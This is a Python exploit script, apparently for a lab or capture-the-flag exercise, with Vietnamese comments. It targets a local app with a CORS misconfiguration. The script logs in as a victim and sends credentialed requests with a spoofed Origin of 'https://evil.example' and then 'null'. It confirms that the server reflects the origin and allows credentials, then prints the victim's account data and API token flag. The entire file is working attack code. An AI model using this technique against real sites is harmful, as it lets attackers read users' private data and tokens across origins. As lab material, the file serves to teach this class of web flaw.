#!/usr/bin/env python3
"""
Exploit lab 9.3 - CORS cau hinh sai.

Khong can GUI trinh duyet: ta chung minh truc tiep rang server reflect
Origin + bat credentials, nghia la mot trang ac tren origin bat ky se
DOC duoc du lieu nan nhan qua fetch(..., {credentials:'include'}).

  1. Nan nhan dang nhap -> co cookie session.
  2. Gui request GIA LAP tu trang ac (Origin: https://evil.example) kem
     cookie nan nhan. In header CORS tra ve + body.
     - Access-Control-Allow-Origin == https://evil.example (reflect) va
       Access-Control-Allow-Credentials == true
       => trinh duyet SE lo body cho JS cua evil.example.
  3. Thu tiep Origin: null -> cung duoc chap nhan.
"""
import sys
import requests

VICTIM = "http://127.0.0.1:8073"


def main():
    s = requests.Session()
    print("[*] Buoc 1: nan nhan dang nhap victim app -> lay cookie session")
    r = s.post("%s/login" % VICTIM, json={"username": "alice"})
    print("    set-cookie: %s" % r.headers.get("Set-Cookie"))

    print("\n[*] Buoc 2: gia lap trang ac doc /api/account (Origin: https://evil.example)")
    evil = "https://evil.example"
    r = s.get("%s/api/account" % VICTIM, headers={"Origin": evil})
    acao = r.headers.get("Access-Control-Allow-Origin")
    acac = r.headers.get("Access-Control-Allow-Credentials")
    print("    HTTP %d" % r.status_code)
    print("    Access-Control-Allow-Origin      = %s" % acao)
    print("    Access-Control-Allow-Credentials = %s" % acac)
    print("    body (du lieu nan nhan)          = %s" % r.json())
    reflected = (acao == evil and acac == "true")
    print("    => server reflect origin ke tan cong + credentials: %s" % reflected)
    print("    => trinh duyet se CHO evil.example doc body nay.")

    print("\n[*] Buoc 3: thu Origin: null (iframe sandbox / redirect / file://)")
    r2 = s.get("%s/api/account" % VICTIM, headers={"Origin": "null"})
    acao2 = r2.headers.get("Access-Control-Allow-Origin")
    acac2 = r2.headers.get("Access-Control-Allow-Credentials")
    print("    ACAO = %s ; ACAC = %s" % (acao2, acac2))
    null_ok = (acao2 == "null" and acac2 == "true")
    print("    => chap nhan Origin null: %s" % null_ok)

    flag = r.json().get("api_token", "")
    print("\n[+] Du lieu doc duoc cross-origin, flag: %s" % flag)
    ok = reflected and null_ok and flag.startswith("FLAG{")
    sys.exit(0 if ok else 1)


if __name__ == "__main__":
    main()
